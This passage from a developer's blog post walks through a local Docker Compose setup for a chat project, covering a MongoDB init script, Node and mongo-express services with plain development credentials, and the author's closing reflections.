create a persistent volume at ./mongo-volume/ in the root of the project
run /docker-entrypoint-initdb.d/init-mongo.js to create a user and initialize the database

init-mongo.js is a very simple script that runs when the container is started for the first time.
db.createUser({
user: ‘root’,
pwd: ‘toxipass’,
roles: [
{
role: ‘readWrite’,
db: ‘toxichatdb’,
},
],
});
Node
After getting access to a database, the next step was to include Node. Since Node versions change frequently, its great to ensure that all developers are supporting the same version. It also simplifies getting started working on the project if a developer isn’t expected to have to install something else. This was also straightforward since there is an official image supplied by the Node JS Docker team with extensive documentation.
version: ‘3.1’

services:
node:
container_name: toxinode
image: “node:16”
user: “node”
working_dir: /home/node/app
environment:
– NODE_ENV=development
volumes:
– ./:/home/node/app
expose:
– “8080”
command: [sh, -c, “yarn && yarn start”]

mongo:
container_name: toximongo
image: mongo
restart: always
environment:
MONGO_INITDB_ROOT_USERNAME: root
MONGO_INITDB_ROOT_PASSWORD: toxipass
MONGO_INITDB_DATABASE: toxichatdb
ports:
– 27017:27017
volumes:
– ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro
– ./mongo-volume:/data/db

mongo-express:
container_name: toximongo-express
image: mongo-express
restart: always
ports:
– 8081:8081
environment:
ME_CONFIG_MONGODB_ADMINUSERNAME: root
ME_CONFIG_MONGODB_ADMINPASSWORD: toxipass
ME_CONFIG_MONGODB_URL: mongodb://root:toxipass@toximongo:27017/toxichatdb

Again, I’ve given the container a custom name. There isn’t much else changed except for the command which issues a shell inside the container, calls Yarn to install dependencies, and then starts the application.
Summary
Since incorporating Docker Compose with this project, I’ve been impressed at the speed with which my development environment can start. This setup doesn’t include a Dockerfile but because it isn’t building custom images, I didn’t think that was necessary to include. I’m certain there are ways to improve it and I’ve got lots to learn, especially if I’d like to incorporate deploying this to production environments. If you’ve got tips or suggestions, let me know!